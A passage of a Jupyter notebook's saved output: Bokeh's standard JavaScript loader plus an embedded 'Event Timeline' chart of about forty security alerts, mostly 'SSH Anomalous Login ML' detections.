cmd_destroy = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n      cell.notebook.kernel.execute(cmd_destroy);\n    }\n  }\n\n  /**\n   * Handle when a new output is added\n   */\n  function handleAddOutput(event, handle) {\n    const output_area = handle.output_area;\n    const output = handle.output;\n\n    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n    if ((output.output_type != \"display_data\") || (!Object.prototype.hasOwnProperty.call(output.data, EXEC_MIME_TYPE))) {\n      return\n    }\n\n    const toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n\n    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n      // store reference to embed id on output_area\n      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n    }\n    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n      const bk_div = document.createElement(\"div\");\n      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n      const script_attrs = bk_div.children[0].attributes;\n      for (let i = 0; i < script_attrs.length; i++) {\n        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n        toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n      }\n      // store reference to server id on output_area\n      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n    }\n  }\n\n  function register_renderer(events, OutputArea) {\n\n    function append_mime(data, metadata, element) {\n      // create a DOM node to render to\n      const toinsert = this.create_output_subarea(\n        metadata,\n        CLASS_NAME,\n        EXEC_MIME_TYPE\n      );\n      this.keyboard_manager.register_events(toinsert);\n      // Render to node\n      const props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n      render(props, toinsert[toinsert.length - 1]);\n      element.append(toinsert);\n      return toinsert\n    }\n\n    /* Handle when an output is cleared or removed */\n    events.on('clear_output.CodeCell', handleClearOutput);\n    events.on('delete.Cell', handleClearOutput);\n\n    /* Handle when a new output is added */\n    events.on('output_added.OutputArea', handleAddOutput);\n\n    /**\n     * Register the mime type and append_mime function with output_area\n     */\n    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n      /* Is output safe? */\n      safe: true,\n      /* Index of renderer in `output_area.display_order` */\n      index: 0\n    });\n  }\n\n  // register the mime type if in Jupyter Notebook environment and previously unregistered\n  if (root.Jupyter !== undefined) {\n    const events = require('base/js/events');\n    const OutputArea = require('notebook/js/outputarea').OutputArea;\n\n    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n      register_renderer(events, OutputArea);\n    }\n  }\n\n  \n  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n    root._bokeh_timeout = Date.now() + 5000;\n    root._bokeh_failed_load = false;\n  }\n\n  const NB_LOAD_WARNING = {'data': {'text/html':\n     \"<div style='background-color: #fdd'>\\n\"+\n     \"<p>\\n\"+\n     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n     \"</p>\\n\"+\n     \"<ul>\\n\"+\n     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n     \"</ul>\\n\"+\n     \"<code>\\n\"+\n     \"from bokeh.resources import INLINE\\n\"+\n     \"output_notebook(resources=INLINE)\\n\"+\n     \"</code>\\n\"+\n     \"</div>\"}};\n\n  function display_loaded() {\n    const el = document.getElementById(\"1455\");\n    if (el != null) {\n      el.textContent = \"BokehJS is loading...\";\n    }\n    if (root.Bokeh !== undefined) {\n      if (el != null) {\n        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n      }\n    } else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(display_loaded, 100)\n    }\n  }\n\n\n  function run_callbacks() {\n    try {\n      root._bokeh_onload_callbacks.forEach(function(callback) {\n        if (callback != null)\n          callback();\n      });\n    } finally {\n      delete root._bokeh_onload_callbacks\n    }\n    console.debug(\"Bokeh: all callbacks have finished\");\n  }\n\n  function load_libs(css_urls, js_urls, callback) {\n    if (css_urls == null) css_urls = [];\n    if (js_urls == null) js_urls = [];\n\n    root._bokeh_onload_callbacks.push(callback);\n    if (root._bokeh_is_loading > 0) {\n      console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n      return null;\n    }\n    if (js_urls == null || js_urls.length === 0) {\n      run_callbacks();\n      return null;\n    }\n    console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n    root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n    function on_load() {\n      root._bokeh_is_loading--;\n      if (root._bokeh_is_loading === 0) {\n        console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n        run_callbacks()\n      }\n    }\n\n    function on_error(url) {\n      console.error(\"failed to load \" + url);\n    }\n\n    for (let i = 0; i < css_urls.length; i++) {\n      const url = css_urls[i];\n      const element = document.createElement(\"link\");\n      element.onload = on_load;\n      element.onerror = on_error.bind(null, url);\n      element.rel = \"stylesheet\";\n      element.type = \"text/css\";\n      element.href = url;\n      console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n      document.body.appendChild(element);\n    }\n\n    for (let i = 0; i < js_urls.length; i++) {\n      const url = js_urls[i];\n      const element = document.createElement('script');\n      element.onload = on_load;\n      element.onerror = on_error.bind(null, url);\n      element.async = false;\n      element.src = url;\n      console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n      document.head.appendChild(element);\n    }\n  };\n\n  function inject_raw_css(css) {\n    const element = document.createElement(\"style\");\n    element.appendChild(document.createTextNode(css));\n    document.body.appendChild(element);\n  }\n\n  \n  const js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-mathjax-2.4.2.min.js\"];\n  const css_urls = [];\n  \n\n  const inline_js = [\n    function(Bokeh) {\n      Bokeh.set_log_level(\"info\");\n    },\n    function(Bokeh) {\n    \n    \n    }\n  ];\n\n  function run_inline_js() {\n    \n    if (root.Bokeh !== undefined || force === true) {\n      \n    for (let i = 0; i < inline_js.length; i++) {\n      inline_js[i].call(root, root.Bokeh);\n    }\n    if (force === true) {\n        display_loaded();\n      }} else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(run_inline_js, 100);\n    } else if (!root._bokeh_failed_load) {\n      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n      root._bokeh_failed_load = true;\n    } else if (force !== true) {\n      const cell = $(document.getElementById(\"1455\")).parents('.cell').data().cell;\n      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n    }\n\n  }\n\n  if (root._bokeh_is_loading === 0) {\n    console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n    run_inline_js();\n  } else {\n    load_libs(css_urls, js_urls, function() {\n      console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n      run_inline_js();\n    });\n  }\n}(window));",
      "application/vnd.bokehjs_load.v0+json": ""
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"6ab74060-833e-4a31-8a20-0f4600ce7d81\" data-root-id=\"1528\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "(function(root) {\n  function embed_document(root) {\n    \n  const docs_json = {\"d855c72a-6f84-4183-9508-d6a3ab2eb142\":{\"defs\":[],\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"1458\"},{\"id\":\"1490\"}]},\"id\":\"1528\",\"type\":\"Column\"},{\"attributes\":{\"data\":{\"AlertName\":[\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"Detected suspicious file download\",\"Detected suspicious file download\",\"Possible suspicious scheduling tasks access\\ndetected\",\"Security incident detected\",\"Suspicious Activity Detected\",\"Detected suspicious file download\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"Security incident detected\",\"Suspicious system process executed\",\"Potential attempt to bypass AppLocker detected\",\"Security incident with shared process detected\",\"SSH Anomalous Login ML\",\"Detected suspicious file download\"],\"TimeGenerated\":{\"__ndarray__\":\"AIAT+OaPdkIAgBxB5Y92QgCAE/jmj3ZCAIAJyuePdkIAgFv45I92QgAAU2bmj3ZCAIAdr+SPdkIAgNWu5o92QgCA1a7mj3ZCAIAT+OaPdkIAgNWu5o92QgCAG9Plj3ZCAIDXiuWPdkIAAJgc5o92QgCA3tnpj3ZCAIAQa4uPdkIAgMu0i492QgAAR5CMj3ZCAAA5aYWPdkIAADN2g492QgAAglFFj3ZCAIB8ePSOdkIAAGUt9Y52QgCArGkKj3ZCAABpfS2PdkIAgPv+Ko92QgCAhUOEj3ZCAIA7/IOPdkIAgD8fhY92QgCAA7KDj3ZCAIBAjYSPdkIAgGzZhI92QgAATv2Lj3ZCAIDSIYuPdkIAgMpGjI92QgCAn9bSjnZCAADnl72OdkIAAOeXvY52QgCAxhynjnZCAAAh6ReQdkIAAPyeE5B2Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[41]},\"index\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40],\"y_index\":[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]},\"selected\":{\"id\":\"1539\"},\"selection_policy\":{\"id\":\"1538\"}},\"id\":\"1456\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"below\":[{\"id\":\"1469\"}],\"center\":[{\"id\":\"1472\"},{\"id\":\"1476\"}],\"height\":300,\"left\":[{\"id\":\"1473\"}],\"min_border_left\":50,\"renderers\":[{\"id\":\"1526\"}],\"title\":{\"id\":\"1459\"},\"toolbar\":{\"id\":\"1483\"},\"width\":900,\"x_range\":{\"id\":\"1461\"},\"x_scale\":{\"id\":\"1465\"},\"y_range\":{\"id\":\"1463\"},\"y_scale\":{\"id\":\"1467\"}},\"id\":\"1458\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1523\",\"type\":\"Scatter\"},{\"attributes\":{\"coordinates\":null,\"fill_alpha\":0.2,\"fill_color\":\"navy\",\"group\":null,\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[2,2],\"line_width\":0.5,\"syncable\":false},\"id\":\"1516\",\"type\":\"BoxAnnotation\"},{\"attributes\":{},\"id\":\"1499\",\"type\":\"LinearScale\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Range Selector\"},\"id\":\"1491\",\"type\":\"Title\"},{\"attributes\":{\"fill_color\":{\"value\":\"navy\"},\"hatch_color\":{\"value\":\"navy\"},\"line_color\":{\"value\":\"navy\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1510\",\"type\":\"Circle\"},{\"attributes\":{\"num_minor_ticks\":5,\"tickers\":[{\"id\":\"1554\"},{\"id\":\"1555\"},{\"id\":\"1556\"},{\"id\":\"1557\"},{\"id\":\"1558\"},{\"id\":\"1559\"},{\"id\":\"1560\"},{\"id\":\"1561\"},{\"id\":\"1562\"},{\"id\":\"1563\"},{\"id\":\"1564\"},{\"id\":\"1565\"}]},\"id\":\"1502\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"active_multi\":{\"id\":\"1515\"},\"tools\":[{\"id\":\"1515\"}]},\"id\":\"1505\",\"type\":\"Toolbar\"},{\"attributes\":{\"start\":-1.0},\"id\":\"1463\",\"type\":\"Range1d\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"navy\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"navy\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1511\",\"type\":\"Circle\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"1532\"},\"group\":null,\"major_label_policy\":{\"id\":\"1533\"},\"ticker\":{\"id\":\"1474\"},\"visible\":false},\"id\":\"1473\",\"type\":\"LinearAxis\"},{\"attributes\":{\"axis\":{\"id\":\"1473\"},\"coordinates\":null,\"dimension\":1,\"grid_line_color\":null,\"group\":null,\"ticker\":null},\"id\":\"1476\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"1497\",\"type\":\"LinearScale\"},{\"attributes\":{\"end\":1550546937300.0,\"start\":1550082881700.0},\"id\":\"1461\",\"type\":\"Range1d\"},{\"attributes\":{\"end\":1550566272950.0002,\"start\":1550063546049.9998},\"id\":\"1493\",\"type\":\"Range1d\"},{\"attributes\":{},\"id\":\"1465\",\"type\":\"LinearScale\"},{\"attributes\":{\"align\":\"right\",\"coordinates\":null,\"group\":null,\"text\":\"Drag the middle or edges of the selection box to change the range in the main chart\",\"text_font_size\":\"10px\"},\"id\":\"1506\",\"type\":\"Title\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"1541\"},{\"id\":\"1542\"},{\"id\":\"1543\"},{\"id\":\"1544\"},{\"id\":\"1545\"},{\"id\":\"1546\"},{\"id\":\"1547\"},{\"id\":\"1548\"},{\"id\":\"1549\"},{\"id\":\"1550\"},{\"id\":\"1551\"},{\"id\":\"1552\"}]},\"id\":\"1470\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1456\"},\"glyph\":{\"id\":\"1510\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1512\"},\"nonselection_glyph\":{\"id\":\"1511\"},\"view\":{\"id\":\"1514\"}},\"id\":\"1513\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"1535\",\"type\":\"AllLabels\"},{\"attributes\":{\"source\":{\"id\":\"1456\"}},\"id\":\"1514\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"navy\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"navy\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1512\",\"type\":\"Circle\"},{\"attributes\":{\"overlay\":{\"id\":\"1516\"},\"x_range\":{\"id\":\"1461\"},\"y_range\":null},\"id\":\"1515\",\"type\":\"RangeTool\"},{\"attributes\":{\"axis\":{\"id\":\"1469\"},\"coordinates\":null,\"group\":null,\"minor_grid_line_alpha\":0.3,\"minor_grid_line_color\":\"navy\",\"ticker\":null},\"id\":\"1472\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"1467\",\"type\":\"LinearScale\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1520\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"1477\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"axis\":{\"id\":\"1501\"},\"coordinates\":null,\"group\":null,\"ticker\":null},\"id\":\"1504\",\"type\":\"Grid\"},{\"attributes\":{\"tools\":[{\"id\":\"1457\"},{\"id\":\"1477\"},{\"id\":\"1478\"},{\"id\":\"1479\"},{\"id\":\"1480\"},{\"id\":\"1481\"}]},\"id\":\"1483\",\"type\":\"Toolbar\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"coordinates\":null,\"formatter\":{\"id\":\"1520\"},\"group\":null,\"major_label_policy\":{\"id\":\"1535\"},\"ticker\":{\"id\":\"1470\"}},\"id\":\"1469\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"navy\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"navy\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1525\",\"type\":\"Scatter\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1456\"},\"glyph\":{\"id\":\"1523\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1525\"},\"nonselection_glyph\":{\"id\":\"1524\"},\"view\":{\"id\":\"1527\"}},\"id\":\"1526\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"1481\",\"type\":\"PanTool\"},{\"attributes\":{\"overlay\":{\"id\":\"1482\"}},\"id\":\"1478\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"source\":{\"id\":\"1456\"}},\"id\":\"1527\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"1495\",\"type\":\"DataRange1d\"},{\"attributes\":{},\"id\":\"1479\",\"type\":\"ResetTool\"},{\"attributes\":{},\"id\":\"1480\",\"type\":\"SaveTool\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Event Timeline\"},\"id\":\"1459\",\"type\":\"Title\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"navy\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"navy\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1524\",\"type\":\"Scatter\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1507\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{},\"id\":\"1474\",\"type\":\"BasicTicker\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"1507\"},\"group\":null,\"major_label_policy\":{\"id\":\"1537\"},\"ticker\":{\"id\":\"1502\"}},\"id\":\"1501\",\"type\":\"DatetimeAxis\"},{\"attributes\":{},\"id\":\"1537\",\"type\":\"AllLabels\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"1554\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"@TimeGenerated\":\"datetime\"},\"tooltips\":[[\"TimeGenerated\",\"@TimeGenerated{%F %T.%3N}\"],[\"AlertName\",\"@AlertName\"]]},\"id\":\"1457\",\"type\":\"HoverTool\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"1557\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"1538\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"below\":[{\"id\":\"1501\"},{\"id\":\"1506\"}],\"center\":[{\"id\":\"1504\"}],\"height\":120,\"renderers\":[{\"id\":\"1513\"}],\"title\":{\"id\":\"1491\"},\"toolbar\":{\"id\":\"1505\"},\"toolbar_location\":null,\"width\":900,\"x_range\":{\"id\":\"1493\"},\"x_scale\":{\"id\":\"1497\"},\"y_range\":{\"id\":\"1495\"},\"y_scale\":{\"id\":\"1499\"}},\"id\":\"1490\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"1563\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"1564\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"1539\",\"type\":\"Selection\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"1555\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1556\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"1558\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"1559\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"1560\",\"type\":\"DaysTicker\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"1562\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"1550\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"1561\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"1565\",\"type\":\"YearsTicker\"},{\"attributes\":{},\"id\":\"1533\",\"type\":\"AllLabels\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"1544\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"1545\",\"type\":\"DaysTicker\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"1549\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"1541\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"1532\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"1542\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1543\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"1548\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"1547\",\"type\":\"DaysTicker\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"1551\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"1546\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"1552\",\"type\":\"YearsTicker\"},{\"attributes\":{\"bottom_units\":\"screen\",\"coordinates\":null,\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"group\":null,\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"syncable\":false,\"top_units\":\"screen\"},\"id\":\"1482\",\"type\":\"BoxAnnotation\"}],\"root_ids\":[\"1528\"]},\"title\":\"Bokeh Application\",\"version\":\"2.4.2\"}};\n  const render_items = [{\"docid\":\"d855c72a-6f84-4183-9508-d6a3ab2eb142\",\"root_ids\":[\"1528\"],\"roots\":{\"1528\":\"6ab74060-833e-4a31-8a20-0f4600ce7d81\"}}];\n  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n\n  }\n  if (root.Bokeh !== undefined) {\n    embed_document(root);\n  } else {\n    let attempts = 0;\n    const timer = setInterval(function(root) {\n      if (root.Bokeh !== undefined) {\n        clearInterval(timer);\n        embed_document(root);\n      } else {\n        attempts++;\n        if (attempts > 100) {\n          clearInterval(timer);\n          console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n        }\n      }\n    }, 10, root)\n  }\n})(window);",
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "1528"
      }
     },
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div style=\"display: table;\"><div style=\"display: table-row;\"><div style=\"display: table-cell;\"><b title=\"bokeh.models.layouts.Column\">Column</b>(</div><div style=\"display: table-cell;\">id&nbsp;=&nbsp;'1528', <span id=\"1752\" style=\"cursor: pointer;\">&hellip;)</span></div></div><div class=\"1751\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">align&nbsp;=&nbsp;'start',</div></div><div class=\"1751\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">aspect_ratio&nbsp;=&nbsp;None,</div></div><div class=\"1751\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">background&nbsp;=&nbsp;None,</div></div><div class=\"1751\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">children&nbsp;=&nbsp;[Figure(id='1458', ...), Figure(id='1490', ...)],</div></div><div class=\"1751\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">css_classes&nbsp;=&nbsp;[],</div></div><div class=\"1751\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">disabled&nbsp;=&nbsp;False,</div></div><div class=\"1751\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">height&nbsp;=&nbsp;None,</div></div><div class=\"1751\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">height_policy&nbsp;=&nbsp;'auto',</div></div><div class=\"1751\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">js_event_callbacks&nbsp;=&nbsp;{},</div></div><div class=\"1751\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">js_property_callbacks&nbsp;=&nbsp;{},</div></div><div class=\"1751\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">margin&nbsp;=&nbsp;(0, 0, 0, 0),</div></div><div class=\"1751\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">max_height&nbsp;=&nbsp;None,</div></div><div class=\"1751\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">max_width&nbsp;=&nbsp;None,</div></div><div class=\"1751\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_height&nbsp;=&nbsp;None,</div></div><div class=\"1751\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_width&nbsp;=&nbsp;None,</div></div><div class=\"1751\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">name&nbsp;=&nbsp;None,</div></div><div class=\"1751\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">rows&nbsp;=&nbsp;'auto',</div></div><div class=\"1751\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">sizing_mode&nbsp;=&nbsp;None,</div></div><div class=\"1751\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">spacing&nbsp;=&nbsp;0,</div></div><div class=\"1751\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">subscribed_events&nbsp;=&nbsp;[],</div></div><div class=\"1751\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">syncable&nbsp;=&nbsp;True,</div></div><div class=\"1751\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">tags&nbsp;=&nbsp;[],</div></div><div class=\"1751\" style=\"display: 